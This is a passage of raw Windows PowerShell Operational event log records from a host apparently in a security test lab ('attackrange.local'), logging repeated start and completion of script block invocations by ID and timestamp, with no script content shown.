LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988538 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988537 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988536 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988535 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988534 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988553 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988552 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988551 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988550 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988549 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988548 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988547 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988546 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988545 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988544 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988563 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988562 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988561 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988560 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988559 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988558 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988557 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988556 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988555 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:46 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988554 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988573 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988572 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988571 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988570 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988569 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988568 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988567 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988566 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988565 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:52 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988564 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988583 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988582 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988581 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988580 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988579 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988578 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988577 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988576 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988575 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988574 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988593 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988592 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988591 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988590 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988589 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988588 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988587 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988586 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988585 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988584 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988603 Keywords=None Message=Completed invocation of ScriptBlock ID: 